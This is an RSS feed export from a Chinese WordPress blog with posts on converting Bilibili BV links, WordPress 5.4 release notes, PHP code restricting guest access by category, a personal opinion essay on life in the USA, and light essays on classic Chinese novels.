知更鳥 http://www.086xa.com 崇尚專注 追求極致 Wed, 08 Apr 2020 10:19:19 +0000 zh-CN hourly 1 https://wordpress.org/?v=5.4 B站BV號鏈接轉av號 http://www.086xa.com/bilibili-bv-to-av.html http://www.086xa.com/bilibili-bv-to-av.html#respond Wed, 08 Apr 2020 10:03:52 +0000 http://www.086xa.com/?p=9366 之前用Smartideo插件轉載B站視頻,只需要復制粘貼視頻地址到文章中就可以了,B站是目前唯數不多沒廣告的視頻站點了,不過最近B站視頻鏈接后綴ID號從av變成BV開頭,插件的功能失效。

已有用戶向插件作者反映,先自己嘗試修改改插件吧,找到這句代碼:

'#https?://www\.bilibili\.com/video/av(?:(?<video_id1>\d+)/(?:index_|\#page=)(?<video_id2>\d+)|(?<video_id>\d+))#i',

av改為BV,BV的ID從原av的純數字變成,數字+大小字母,原代碼已不能獲取ID號,添加正則[a-z0-9_=\-]+獲取ID號。

'#https?://www\.bilibili\.com/video/BV(?:(?<video_id1>[a-z0-9_=\-]+)/(?:index_|\#page=)(?<video_id2>[a-z0-9_=\-]+)|(?<video_id>[a-z0-9_=\-]+))#i',

結果很失望,播放器窗口倒是顯示了,ID也獲取了,但就是不能加載視頻...有時間再研究吧,或者哪位高手幫解決一下,不過就是修改成功,原來加到文章中的av鏈接也將失效。

下面推薦一個獲取原來av鏈接的簡單方法:

打開B站視頻鏈接:比如

https://www.bilibili.com/video/BV1WW411b7NQ

查看源代碼搜索av會在meta標簽中找到:

<meta data-vue-meta="true" itemprop="url" content="https://www.bilibili.com/video/av17792443/">

后面的鏈接就是原來的av鏈接,加到文章中就行了。

網上有人開發了轉換工具,也可以找一下,不過電腦上直接查看源代碼是最方便的。

B站BV號鏈接轉av號
]]>
http://www.086xa.com/bilibili-bv-to-av.html/feed 0
WordPress 5.4 下載 http://www.086xa.com/wordpress-5-4.html http://www.086xa.com/wordpress-5-4.html#comments Wed, 01 Apr 2020 02:21:50 +0000 http://www.086xa.com/?p=9349 WordPress 5.4 2020年3月31日正式發布。中文版也同發布,下載地址:

WordPress 5.4中文版:https://cn.wordpress.org/wordpress-5.4-zh_CN.zip

請用下載工具下載。

如果無法后臺更新可以嘗試安裝:WP-China-Yes 插件后,再后臺更新。

WordPress 5.4 下載

下面是機器翻譯的,更新內容大部分與區塊編輯器有關,還有一些與我們國內毫不相干的隱私更新,無安全更新,如果不使用區塊編輯器,看看就好。

更多制作帖子和頁面的方法會以您最好的圖像生動起來。更多方式將訪問者帶入,并讓他們參與,從網絡的頂級服務豐富的嵌入式媒體。

更多方法讓你的視力真實,并設置塊在完美的地方-即使一種特殊的塊是新的你。更高效的流程。

并且速度在任何地方都更快,因此,當您構建部分或畫廊,或者只是鍵入一行散文時,您就能感覺到工作流的速度有多快。

兩個新塊。更好的塊整體。

  • 兩個全新的塊:社交圖標和按鈕使添加互動功能快速和容易。
  • 具有顏色的新方法:按鈕和封面塊中的漸變、工具欄對富文本塊中顏色選項的訪問,以及"組"和"列"塊中的顏色選項首次。
  • 猜得少了一大堆!版本 5.4 簡化了在每個模塊中放置和替換多媒體的整個過程。現在,它的工作原理幾乎在每個塊!
  • 如果您曾經認為 Media_Text 塊中的圖像應該鏈接到其他內容- 也許小冊子的圖片應該下載該小冊子作為文檔?好了,現在可以了。

 

  • 更清潔的 UI、更清晰的導航和更輕松的選項卡!
    更清晰的塊導航與塊痕跡。和更容易的選擇,一旦你到達那里。
  • 對于當您需要使用鍵盤導航時,請更好地進行制表和對焦。此外,您還可以將選項卡卡到幾乎任何塊的側邊欄。
  • 速度!編輯器加載速度加快 14%,打字時間快 51% !
  • 提示不見了。在他們的位置,歡迎指南窗口,你可以提出,當你需要它 -只有當你需要它-一次又一次。
  • 一目了然地了解您是在塊的"編輯"還是"導航"模式下。或者,如果您的視力受限,屏幕閱讀器將告訴您處于哪個模式。

 

您的基本權利:隱私

5.4 有助于解決世界各地的各種隱私問題。因此,當用戶和利益相關者詢問法規遵從性或您的團隊如何處理用戶數據時,答案應該更容易得到正確的。

看看:

  • 現在,個人數據導出包括來自社區事件微件的用戶會話信息和用戶位置數據。另外,一張目錄!
  • 通過隱私工具處理導出和擦除請求時,請參閱進度。
  • 此外,整個隱私工具的一點增強功能讓隱私工具看起來更干凈了。你的眼睛會感謝你的!

 

將自定義字段添加到菜單項 — 本機

兩個新操作允許您將自定義字段添加到菜單項中 — 沒有插件,無需編寫自定義步行者。

在"菜單"管理屏幕上,在菜單編輯器中導航菜單項的移動按鈕之前觸發。wp_nav_menu_item_custom_fields

在"自定義程序"中,在菜單項表單字段模板的末尾觸發。wp_nav_menu_item_custom_fields_customize_template

檢查代碼,查看這些新操作可以替換自定義代碼的位置,如果您擔心重復,請添加 WordPress 版本的檢查。

塊!更簡單的樣式、新的 API 和嵌入

  • 非常簡單更簡單的塊樣式。負邊距和默認填充已消失!現在,您可以按所需的方式設置樣式。并且,重構器擺脫了四個冗余包裝 div。
  • 如果構建插件,現在您可以按類別的命名空間注冊塊集合,這是獲取更多品牌可見性的絕佳方式。
  • 允許用戶使用兩個新的 API 執行更多操作:塊變體和漸變。
  • 在嵌入中,現在塊編輯器支持 TikTok_和 CollegeHumor 已不復存在。

 

]]>
http://www.086xa.com/wordpress-5-4.html/feed 7
WordPress 只允許游客瀏覽指定分類的文章 http://www.086xa.com/wordpress-only-allows-viewing-of-specific-posts.html http://www.086xa.com/wordpress-only-allows-viewing-of-specific-posts.html#comments Tue, 24 Mar 2020 01:47:15 +0000 http://www.086xa.com/?p=9341 有童鞋問,如何實現未登錄用戶只能瀏覽指定的分類文章,這里提供一下方法。

WordPress 只允許游客瀏覽指定分類的文章

只允許游客瀏覽指定分類的文章

網上可以找到類似的代碼:

//template_redirect動作鉤子是一定會執行的,所以用這個鉤子對全站有效
add_action( 'template_redirect', 'ashuwp_show_only_login', 0 );
function ashuwp_show_only_login(){
	//判斷登錄,about頁面就允許訪問
	if( !is_page('about') && !is_user_logged_in() ){
		auth_redirect(); //跳轉到登錄頁面
		exit();
	}
}

代碼源自:www.ashuwp.com

原代碼只允許未登錄者訪問指定的頁面或者直接跳轉到登錄。

簡單改一下,加個判斷in_category,只允許訪問指定分類的歸檔頁面和文章。

// 首頁和指定分類文章可以訪問
add_action( 'template_redirect', 'ashuwp_show_only_login', 0 );
function ashuwp_show_only_login(){
	//判斷登錄,只允許訪問ID為3和2的分類文章
	if( !in_category( array( 3,2 ) ) && !is_home() && !is_user_logged_in() ){
		auth_redirect(); //跳轉到登錄頁面
		exit();
	}
}

默認未登錄者只允許訪問網站首頁和分類id為3和2的分類歸檔頁面和文章,否則跳轉到登錄頁面。

!in_category 前面的感嘆號去掉改成 in_category,則正好相反,訪問分類ID為3和2的分類文章跳轉到登錄,其它文章可以正常訪問。

代碼添加到主題函數模板functions.php中。

]]>
http://www.086xa.com/wordpress-only-allows-viewing-of-specific-posts.html/feed 8
中國小伙從美國回來,告訴你一個真實美國,顛覆認知 http://www.086xa.com/tell-you-a-real-usa.html http://www.086xa.com/tell-you-a-real-usa.html#comments Sun, 22 Mar 2020 12:26:54 +0000 http://www.086xa.com/?p=9335 筆者2013年在美國待了一年,在一個美國大學做一些項目,下面從一個普通人的角度講述自己眼中的美國,都是個人真實經歷,如有不當,歡迎大家補充指正。

中國小伙從美國回來,告訴你一個真實美國,顛覆認知

中國小伙從美國回來,告訴你一個真實美國,顛覆認知

1、“香甜的空氣”

筆者80后,對于我們這一代人來說,美帝還是挺牛的,這么多年沒少把我們按在地上摩擦。

美帝很強,但并不是一些人認為的那樣強。

如果你根本沒去過美國,希望能安安靜靜看完這篇文章。

如果你是一個家里有點錢,靠著“香甜的空氣”拿到了綠卡,那么你就沒必要跟筆者討論了。

2、美國的科研

筆者屬于科研人員,首先就說一下美國的科研吧。

由于基礎工業的缺乏,目前美國已經無法支撐眾多的高校和科研機構的運轉,很多高校的研究人員都在滿世界找資金。

美國一些高校的研究水平非常一般,比如生物納米什么的還是處于領先的,但已經慢慢被中國等后來者趕上。

至于其他的比較基礎性的東西,美國已經所剩無幾。

以前,筆者對美國的教授那叫一個膜拜,去了美國之后那是嗤之以鼻。

以筆者這么多年闖蕩江湖的經歷來說,中國的工業和教育的發展在全世界都是首屈一指的。你去任何一個國家都不可能找到各行各業的人才。

筆者在公司跟同事開會,別的國家全是老頭子,中國全是年輕人,他們對中國人的評價就是very young, very aggressive.

好了,不多吹牛了,說點真實經歷。

3、簽證

我們就先從進入美國開始說吧。

美國簽證有點裝大,我去了這么多國家,基本就是隨便簽證,但美國需要面簽,需要專門飛去大使館,只能說有點裝大了。

4、自來水

話說在2013年開始的幾天,筆者登上了前往美帝的灰機。美帝的灰機那叫一個冷啊,萬米高空本來溫度就很低,空調還一直吹,等到十幾個小時的灰機坐下來,我基本已經懵圈了。

機場迎接我們的是一位華人朋友,寒暄后帶我們直接殺到中餐館。

一杯冰水端上來,我心里一萬只那啥奔騰而過。

說一下這個水的問題,有很多人吹噓說美國的水可以直接喝,秒殺國內之類的。

這就是胡扯!

美國的水是可以直接喝,但那個漂白粉的味道沒有一個月你是無法適應的。

國內的自來水加那么多漂白粉也可以隨便喝。

5、在美華人

說下這位華人朋友,上世紀80年代出國潮時期去的美國,如今在美國一高校做教授。

美國的教授那叫一個爽,薪水秒殺中產,還不用發文章什么的。

但這位華人朋友的中國同學可以瞬間秒殺他,因為他們現在都是國內各行業的精英或老板之類的。

我接觸到的華人在美國的生活還是比較優渥的,很多是教授,還有企業里的技術型打工仔,還有相當一部分是開中餐館的,還有一部分就是留學生。

日本人在美國少一些,韓國人是開小賣店的,印度人有很多,大部分是在高校或企業。

中國人在美屬于比較大的族群,平時都是一起成群結隊。

6、留學生

美國的留學生有很多,可以劃分為幾個層次:

最高層次是去美國做博士后的。

國內讀完博士,去國外教授那里搞一些合作課題,學習一些研究內容,增加一些研究經歷,練習一下英語,還能賺幾萬美刀工資,回國后去大學做個教授什么的。

另外一種是國內頂尖大學畢業后去美國讀研究生和博士。這群人就比較郁悶了。

這么說吧,這群人基本被美國大學耽誤了,其研究水平比起去國外做博士后的人來說差一大截。

最后就是國內精英和土豪的子女,送到國外讀大學。

為什么要送出國?不是因為國外教育好,這種人基本上就是呵呵了,當然也有很多是靠自己的能力被常春藤錄取的。

在美國的學校,有相當一部分這樣的人存在,怎么說呢,還是被美國大學耽誤了。

在這里,筆者奉勸一些有虛榮心的家長,別把孩子往國外送了,你的虛榮會害了孩子一生。

一般送孩子去美國讀完大學需要花費數百萬(靠自己能力的花費少點),如果小朋友本科畢業回來,跟國內畢業不會有多大區別,博士畢業回來的話差別也不大。

也就是說,你費心費力搞得雞飛狗跳,幾年后發現白費勁。

如果非要送孩子出國,其實可以選擇趁寒暑假到國外待一段時間,見見世面總是好的。

7、美國物價

去美國第一件事是去超市買生活必需品,第一感覺是物資匱乏。

不管什么東西,可以選擇的很少。因為美國企業已經經歷了托拉斯,辛迪加等,現在屬于高度壟斷,沒有那么多品種可供選擇。

拖鞋只有兩個款式,10美刀,一看就是來自中國生產的。

飲料只有那么幾種,口味那叫一個怪,保準可以把你喝吐,但美國的可樂真心便宜,比中國的價格還低。

接下來去一個叫SAM·s club的大賣場買一些吃的和穿的。

這個賣場是會員制,每年收費好像100多美刀,筆者還頭一次聽說去買他的東西還得付會員費的地方。

但這家的東西真心便宜。最常吃的牛肉大概7-8美刀一磅,豬肉好像3-4美刀一磅,雞腿好像是3美刀一堆。

關于物價,每個州有差距,不要糾結于這一點。

8、吃

這個我已經無力吐槽了,我在高校一般中午不想跑太遠,但學校食堂實在讓人無語。

有一個純正的美國式食堂,里面的東西都是黏黏糊糊的那種,大概8美刀可以隨便吃。

還有別的比如burgerking(肉餡餅)之類的,這些東西偶爾吃一次還行,天天吃死的心都有。

筆者只能每周一次去所謂的shoppingmall(購物中心)那里吃一點中餐自助,一次吃兩盤,讓服務員笑話。

不過需要指出的是中餐自助的價格也便宜,7-8美刀,質量也不錯。但下館子和自助餐是兩碼事。

在美國下館子不是一件很輕松的事,更多人是去那種連鎖的類似快餐的地方吃飯。

正兒八經的飯店價格是很貴的,一般的西餐廳的話加上小費人均大概50美刀起步。中餐館的話20-30美刀起步。

9、穿

說完吃的咱說穿的,美國的紡織工業全軍覆沒。

所有的東西全是中國制造。

美國年輕人不知道毛褲是什么東西,零下十度,很多人在冬天就是一條褲子,這點不得不佩服。

10、住

很多人說美國的房子10萬美刀一套,也有很多人說美國的房子很貴100萬美刀一套。

這都是真實的。

美國的住宅跟我們不一樣,貧民區和富人區有著顯著的區別。

貧民區的房子小一點,10萬美刀的確可以買到,有的甚至不用10萬。

富人區的房子高檔一些,價格比較貴,50萬美刀以上。

貧民區治安差點,教育差點。富人區治安好,教育好。

美國的住是極其分散的,特別像農村。市區一般非常小,非常非常小,像國內三四線城市那種規模就屬于大的了。

美國的吃的玩的購物的地方都不在市中心,都在離市中心很遠的地方,這一點跟國內天壤之別。

市中心周末是沒人的,我剛到美國的時候,想周末去逛街,結果市中心空無一人,著實吃驚不小。

有一點需要說明,美國的房子是需要交稅的,每年都要交,只要有房子就要交。喜歡這篇文章的讀者,小編推薦大家微信搜索關注公眾號九龍軍事。可閱讀更多精彩好文。

11、用

美國很多東西都不能自己制造,很依賴中國。

用的東西不便宜,美國人一般都有車庫,平時在家瞎鼓搗一些東西。

很多人都會修車,男女都會,因為到車店修車著實很貴,美國的人工貴的嚇人。

理發大概是15-20美刀,小鎮的價格。手機殼,國內10-20人民幣就可以買一個不錯的,美國需要20美刀,這就是差距。

12、行

有很多人說美國的汽車便宜,其實美國的普通汽車價格跟中國差不多。

比如卡羅拉在中國10萬塊,美國也需要大概2萬刀(對價格有懷疑的網友可以去雅虎汽車看一下,再加上稅就是真實價格了),美國的豪車那是真便宜。

美國基本人人有車,去哪兒都是開車,汽車工業極其發達,公共交通極其落后。

雖然汽油便宜,但因為開車上班實在遠,每個月的交通費也是不小的開銷。

13、教育

貴!

超級貴!

美國的教育看上去很公平,誰都可以上大學,但前提是你得有錢。

也就是說,人家已經用錢把人分三六九等了,畢竟金錢面前人人平等。

美國的大學收費很高,據我了解應該在2-4萬美刀一年,這個了解不深,有知道的朋友可以補充。

有人說這個不貴啊,問題是美國人一家一般3-4個孩子,單教育一項就足以讓很多家庭破產。

我在學校里認識一個教授,年收入很高,十幾萬美刀,家里四個兒子,這教授每天愁容滿面,因為無法承擔幾個孩子上大學的學費。

美國的大學普及率也令人吃驚,你絕對不會想到,在地球一哥那里,只有30%的人有機會上大學。

大學學位對于一個美國人來說遠比你想象的重要,雖然在中國大學生一抓一大把,但在美國,大學意味著體面的工作。

在美國,很多大學生是依賴貸款和獎學金的,有很多人說這是人家美國年輕人獨立,其實事實的真相是父母無力支付學費而已,別把事情想得太美好。

不信的話,你看看比爾蓋茨的孩子是不是貸款上大學?奧巴馬的閨女是不是貸款上大學?川普的娃是不是需要貸款?

14、醫療

貴!

超級超級貴!

有多貴呢,還是舉一個例子吧。

我在美國是買了保險的,2000多美刀一年,話說有一次我拉肚子,可能還有點中暑。

實在難受的緊,然后就去醫院掛了個急診。

先后有三個醫生過來查看情況,然后就給打了一針。

這點事在國內頂多一個藿香正氣水就可以解決。

報了保險號,看完就走人了,但是,三個月后收到賬單了,1200美刀。

你妹的,一個急診收費600刀,三個醫生過來啥也沒看出來就每個人收費100多刀。

好在保險給報了850刀,剩下的就自己付了。但這個價格實在讓我吐血。

15、安全

美國一年死在槍下的人數網友可以自己去查。

安全是美國一個很嚴重的問題,搶劫案時有發生。

有一次,在我經常去的一個購物中心附近,聽說前一晚四個被干掉,當時我就傻眼了。

即使美國安全存在很大問題,即使每年很多美國人死于非命,但就是沒有任何一個總統敢禁槍。

誰禁誰死,不信你試試!

背后的原因,可以用腳趾頭去想。

16、工作和發展

美國的社會高度固化,一份體面的工作意味著可以養活一家,沒有工作就沒有收入來源,就得站大街。

所以,在美國,失業是一件可怕的事情。

在中國,很多人工作不開心,分分鐘可以再找一份工作,炒掉老板,拍屁股走人。

這種情況基本只有現階段的中國有。

在美國,有體面工作就代表你可以有不錯的生活。

但要想干一番事業基本是不可能的,也就是說發展機會不大。

17、收入

很多人道聽途說,認為美國人年收入非常高。

其實,美國的年收入并不是很高,低收入家庭大概年收入在30000美刀以下,中產大概5-10萬刀,高于這個就是高收入了。

美國人的這些收入是要交稅的,稅的比例很高,10萬刀據說到手不到7萬刀,這個有待核實。

前一段時間看到一個美國的新聞,在富有的美國,3億人中居然有4700萬人需要領救濟,有人說這是因為美國的貧困標準高。

其實事實是,不管什么社會,只要領救濟,你的生活絕對好不了。

如果你說這4700萬領救濟的美國人生活的比我們普通中國人幸福,至少我是不信的。

總結一下吧,美國不是天堂,中國不是地獄。

美國作為發達國家,人民的生活水平普遍還是比較高的,作為發展中國家,我們的差距還是很明顯的,這個不必否認。

如果你就想做一份安安穩穩的工作,家人過穩定的生活,享受“香甜的空氣”,美國是一個很好的選擇。

不過這種情況好像在國內三四線城市也可以實現,而且過的也很舒服。

如果你有出人頭地的想法,想實現自己的夢想,還是在國內吧。

有很多人會問:既然美國沒有傳說的那么好,為什么很多有錢人移民?

我只想說:有錢人的世界咱不懂,但有一點是肯定的,有錢人在哪里都很舒服,要想舒服首先需要做的是讓自己有錢,而不是想著到了美國你就能很舒服,這才是問題的關鍵。

以上只是個人的真實經歷,僅代表個人觀點,如有不當,歡迎大家補充指正。

有錢人到哪都是天堂!

]]>
http://www.086xa.com/tell-you-a-real-usa.html/feed 3
少不看水滸、老不看三國,后兩句才是精華,卻少有人知 http://www.086xa.com/dont-look-at-the-minamata-or-the-three-kingdoms.html http://www.086xa.com/dont-look-at-the-minamata-or-the-three-kingdoms.html#comments Sun, 22 Mar 2020 12:18:14 +0000 http://www.086xa.com/?p=9334 古代俗語:少不看水滸,老不看三國,后兩句才是精華,卻少有人知

在我們剛剛從懵懂到開始慢慢的接受外面的世界這一過程中,必然會有許多的書籍或者影視作品成為路上的最初伴侶。

許多的家長會給我們帶來許多國外的一些童話,也有許多的重視傳統的家長給我們帶來四本名著。

這四本古典小說相信很多人都會讀過其中的幾本,他們最吸引我們的無疑就是其中令人崇拜的人物想象,還有十分吸引人的故事情節。

這些事情都在潛移默化的的影響著我們,即便大家都知道它們都是事實與想象力的聚合物,并不真實,但是它真正吸引我們的,不正是它天馬行空般的想象力嗎。

當我們長大后,我們對于這些也都有了更多的認識,其中最有意思的還是一句流傳甚廣的古代俗語;“少不看水滸,老不看三國”。

不知道大家有沒有想過一個問題,我們有四本書它這句話只說了兩本,那么它應該還有下半句吧。后兩句才是精華,卻少有人知,那就是——“男不看西游,女不讀紅樓。”

第一句話告訴大家小的時候不要讀水滸,這是因為它特殊的故事情節,大家都知道這本書前期充滿了反叛、殺戮等等一些負面的情緒,后期的故事則突然變的十分的悲傷,各個主人公都沒有獲得好的結局。所以說這些東西對于孩子的心理是非常不好的,因為他們的心理正處于一個塑形期,有可能會有人受到其中的影響。

三國是一本講述國家與國家之間,英雄與英雄的故事,其中全部都是政治斗爭,充滿了許多的爭斗和廝殺,而老年人正在處于一種修心養性,這時候的人就不應該去看這種書籍,應該去看一些能平復心境,讓人心情舒暢的書籍。

下面是大家都沒大見過的那兩句,西游相信這是其中大家最熟悉的一個故事,最經典的還是它衍生出了種種影視作品,或許是它們太過于受歡迎了,以至于原作的一些事情大家都不大了解。其實真正的原書中的故事是十分的黑暗的,并不只是神話故事,其中還描述了許多人心底里的黑暗。看多了就會容易讓男性失去前進的動力。

紅樓是一本經典,經典到有專門的組織去研究它,其中的故事有著很多的愛情故事,但是大多都是以十分悲傷的結束,女性大多都是感性的,很容易就受到這些悲劇愛情故事的影響,所以才有了這句話。

故事我們有很多,書籍我們也有很多,但是我們在閱讀的時候,要在合適的時候讀合適的書,這才是最重要的,就像相同的藥,在對癥的病人手里是良藥,在不合適的人手中就是毒藥。

]]>
http://www.086xa.com/dont-look-at-the-minamata-or-the-three-kingdoms.html/feed 2
除了能欺負白骨精,孫悟空還能打過誰? http://www.086xa.com/who-can-sun-wukong-hit.html http://www.086xa.com/who-can-sun-wukong-hit.html#comments Fri, 20 Mar 2020 08:47:46 +0000 http://www.086xa.com/?p=9333 除了能欺負白骨精,孫悟空還能打過誰?論打架,孫悟空也就是一個門衛保安的水平

我們今天說《西游記》。

話說大唐貞觀年間,唐僧師徒歷經九九八十一難取經歸來,五圣成真,功德圓滿,受到唐太宗李世民的親切接見。

舉國歡慶,接下來就是一場接一場的總結表彰會,中外記者見面會,一路向西先進事跡報告會,敢問路在何方巡回演講,各種商業代言等等,把幾個人忙得不亦樂乎。

特別是孫悟空,浪子回頭金不換,從一個前科累累的不良青年,一躍成為西天取經的頭號功臣,大雷音寺如來佛祖欽賜的斗戰勝佛,他的經歷,讓無數犯過錯誤的年輕人重新鼓起了生活的勇氣,孫悟空一時成為青年的偶像,時代的楷模,許多女孩子都嚷著要為他生猴子。

然而,大唐宣傳部在整理孫悟空事跡材料的時候,驚奇地發現,作為取經團隊的安保負責人,一路上,孫悟空完全依靠自己的能力,實際上只打死過一個妖怪。

沒錯,不算那些大王叫我來巡山的小嘍啰,不算有外援助陣的,有名有姓,有頭有臉的妖怪,孫悟空就打死了一個,就是白骨精。

簡直難以置信,還沒有豬八戒打死的妖怪多,怎么就立了頭功,成了降妖除魔的典范?除了白骨精,孫悟空一路上到底還能打得過誰?

說出來你可能不信,號稱齊天大圣的孫悟空根本就不會武功,論打架,也就是一個門衛保安的水平。

1 不信是吧?來,我們講證據。

首先,孫悟空確實不會武功,對,根本就沒學過。

在菩提老祖那兒上了20年學,都學了點兒啥?《西游記》第二回說的清清楚楚:“教他灑掃應對,進退周旋之節,與眾師兄學言語禮貌,講經論道,習字焚香,每日如此。閑時即掃地鋤園,養花修樹,尋柴燃火,挑水運漿。在洞中不覺倏六七年。”

你看,前六七年,根本不教東西,就是拿你當免費工人使。

直到第七年,老師才征求學生意見:“道字門中有三百六十旁門,旁門皆有正果,不知你學那一門哩?”

就是問你想學文科,還是理科?走藝術生,還是走體育特長生?

悟空挑三揀四,哪個都不喜歡,祖師聞言,咄的一聲,跳下高臺,手持戒尺,指定悟空道:“你這猢猻,這般不學,那般不學,卻待怎么?”走上前,將悟空頭上打了三下,倒背著手,走入里面,將中門關了,撇下大眾而去。

孫悟空被砸了三下腦袋,恍然大悟,半夜三更跑去找菩提老祖,從此,依靠一對一教學,很快掌握了兩門實用技術:一個是七十二變,一個是筋斗云。

有些老師啊,平時上課敷衍了事,課余辦小班比誰都下勁兒。

后來,孫悟空在同學面前賣弄本領,被老師發現,氣壞了,大家都是交一樣的學費,為什么這些奧數題只有你會做?你讓同學們怎么想?這不是陷我于不義嗎?!

一怒之下,將悟空趕出了師門。

請注意,翻遍菩提學院課程表和孫同學的作業,老師從來就沒教過他武功,什么猴拳三十六式,什么猴棍、少林棍、齊眉棍、玄武棍、八卦棍,打狗棍,一概沒有教過。

那么,孫悟空憑啥闖江湖混社會,跟牛魔王等七十二洞妖王稱兄道弟?

除了七十二般變化和一個筋斗十萬八千里的特殊本領之外,孫悟空打打殺殺靠的就是一把子力氣,就是一股子狠勁兒,什么犀牛望月,什么橫掃千軍,什么蘇秦背劍,什么飛龍在天,不存在的,棍子掄圓了打就是了。

一根如意金箍棒,重達一萬三千五百斤,我就問你,一般人誰扛得住?

2 那么,要是碰到不一般的人呢?孫悟空到底還能不能打?

花果山方圓幾百里內,孫悟空絕對是當地最大的黑惡勢力,平時誰都不放在眼里,對能力稍弱的小神小仙,動不動就以爺爺自稱,土地公公一把年紀,他左一個土地老兒,右一個土地老兒,呼來喚去,毫無尊老愛幼之心。

特別是大鬧天宮之后,更覺得自己了不起了,齊天大圣啊,打遍天下無敵手啊,膨脹的不行。

可是,等踏上了取經之路,你就會發現,真動起手來,孫悟空其實打不過幾個人。

黑風山的黑熊怪,就是偷唐僧袈裟的那個,是取經路上孫悟空遇到的第一個妖怪。

唐僧就那么一件像樣的衣服,被偷走心疼的不得了。悟空說:放心,小事一樁,包在我老孫身上了,這就去給你要回來。

悟空很想在唐僧面前展示一下實力,與妖怪見面,首先自報家門,以為憑自己500年前在江湖上闖出的名頭,妖怪肯定要給個面子。

沒想到,新生代黑熊怪根本沒把江湖老前輩當回事,大咧咧問:“我不曾會你,有什么手段,說來我聽。”

孫悟空就把自己年輕時候的輝煌經歷,從上學開始,吧啦吧啦講了一遍:

自小神通手段高,隨風變化逞英豪。

養性修真熬日月,跳出輪回把命逃。

一點誠心曾訪道,靈臺山上采藥苗。

那山有個老仙長,壽年十萬八千高。

老孫拜他為師父,指我長生路一條。

他說身內有丹藥,外邊采取枉徒勞。

得傳大品天仙訣,若無根本實難熬。

回光內照寧心坐,身中日月坎離交。

萬事不思全寡欲,六根清凈體堅牢。

返老還童容易得,超凡入圣路非遙。

三年無漏成仙體,不同俗輩受煎熬。

十洲三島還游戲,海角天涯轉一遭。

活該三百多余歲,不得飛升上九霄。

下海降龍真寶貝,才有金箍棒一條。

花果山前為帥首,水簾洞里聚群妖。

玉皇大帝傳宣詔,封我齊天極品高。

幾番大鬧靈霄殿,數次曾偷王母桃。

天兵十萬來降我,層層密密布槍刀。

戰退天王歸上界,哪吒負痛領兵逃。

顯圣真君能變化,老孫硬賭跌平交。

道祖觀音同玉帝,南天門上看降妖。

卻被老君助一陣,二郎擒我到天曹。

將身綁在降妖柱,即命神兵把首梟。

刀砍錘敲不得壞,又教雷打火來燒。

老孫其實有手段,全然不怕半分毫。

送在老君爐里煉,六丁神火慢煎熬。

日滿開爐我跳出,手持鐵棒繞天跑。

縱橫到處無遮擋,三十三天鬧一遭。

我佛如來施法力,五行山壓老孫腰。

整整壓該五百載,幸逢三藏出唐朝。

吾今皈正西方去,轉上雷音見玉毫。

你去乾坤四海問一問,

我是歷代馳名第一妖!

我知道你是快速劃過來的,一個自我介紹,用了500多個字,誰有耐心看?誰有耐心聽?

要打就打,能動手盡量別嗶嗶,這就好比江湖上兩大黑幫火并,雙方對峙,劍拔弩張,你這時候費這么多口舌,吹噓自己當年如何如何牛逼,如何如何了不起,本身就是露怯的表現。

那天,妖怪耐著性子聽完,當時就笑了:都說唐僧啰嗦,我看你比你師父還啰嗦,說了半天,不就是當年那個弼馬溫嘛。什么英雄本色,什么旺角卡門,什么廟街十二少,還不是一樣被人用槍指著頭。

這一番話,算是戳到了悟空的痛處,被玉帝騙去養馬那段經歷,是他最不愿意讓別人提及的一件糗事,所謂打人不打臉,罵人不揭短,你這不是成心辦我難看嘛。

悟空惱羞成怒,拎著棍子就沖了上去。

結果如何?《西游記》第十七回寫得清清楚楚:“那怪與行者斗了十數回合,不分勝負。”

倆人一直打到中午,黑熊怪餓了,要求暫停:“孫行者,我兩個且收兵,等我進了膳來,再與你賭斗。”

回去之后,一面享用午餐,一面“安排筵宴,書寫請帖,邀請各山魔王慶會。”也就是說,原定在黑風山舉辦的佛衣會暨生日宴會照常進行。

沒有一丁點兒大敵當前的緊迫感,該吃吃,該喝喝,根本沒把悟空往心里擱。

這是對齊天大圣最大的侮辱。

可把孫悟空給氣壞了,又約了第二架,結果,“他兩個從洞口打上山頭,自山頭殺在云外,吐霧噴風,飛砂走石,只斗到紅日沉西,不分勝敗。”

各位,黑熊怪在天上人間黑白兩道是個什么地位?根本就是個不入流的無名之輩,世界500強都排不上,你們看,孫悟空連這樣的對手都拿不下來。

沒辦法,只好跑到南海,找觀音菩薩幫忙,才算把師父的衣服給要回來。

袈裟雖然拿回來了,但靠的畢竟不是自己的武功,師父嘴上沒說啥,但悟空心里不是滋味,覺得首秀很失敗,很沒面子。

3 在外面打妖怪不行,在取經團隊內部,孫悟空應該是當仁不讓的武功第一吧?

也未必我跟你講,不信我們接著看。

這件事過去沒幾天,師徒二人路過高老莊,孫悟空跟豬八戒又打起來了。

老子打不過黑熊,還打不過你一頭蠢豬?!悟空決心在八戒這兒挽回一些面子,使出渾身解數,結果,“他兩個自二更時分,直斗到東方發白。”打了整整一個通宵,也沒能把豬八戒拿下。

而在這之后不久,八戒與沙僧在流沙河大戰,“二人整斗有兩個時辰,不分勝敗。”

由此可見,孫悟空與豬八戒的武功不相上下,八戒與沙僧實力相當,也就是說,這三個人打架的能力,其實是在同一個水平線上。

那為什么我們總感覺孫悟空要比另外兩個厲害一些呢?

這個,怎么說呢,宣傳工作到什么時候都必須重視起來。

據不完全統計,取經路上,唐僧團隊共遭遇37個妖怪,孫悟空真正靠自己的本事大獲全勝,全殲敵人的,就只有一個白骨精。

可算遇到一個軟柿子,那天,孫悟空大發神威,變著花樣打,打一次還不夠,三打白骨精,直到把人家小姑娘打死為止,手段之兇殘,連唐僧都看不下去了,就因為這件事,師徒二人反目成仇,孫悟空被當場除名。

悟空當然很生氣,這是他降妖除魔歷程中唯一的一次完全勝利,唯一一次沒有依靠外援,憑自己能力親手打死的唯一一個有頭有臉的妖怪,容易嗎,你不表揚我就算了,還批評我,還念緊箍咒,還開除老子?!

除此之外,你仔細翻翻《西游記》,整本書里,孫悟空還打敗過誰?

黑熊怪、黃風怪、青牛怪、黃獅精、豹子精、蝎子精、蜘蛛精、老鼠精、大鵬鳥、金角大王銀角大王、玉面狐貍、六耳獼猴……哪一個是孫悟空憑自己本事打敗的?別說成年人,連牛魔王的兒子紅孩兒他都打不過。

孫悟空所謂的降妖除魔,靠的全是人脈,全是關系,每當遇到困難,一會兒是觀音菩薩,一會兒是文殊菩薩,一會兒是普賢菩薩,一會兒是太上老君,一會兒是太乙天尊,一會兒是托塔天王,甚至如來佛祖,輪番出場助陣。

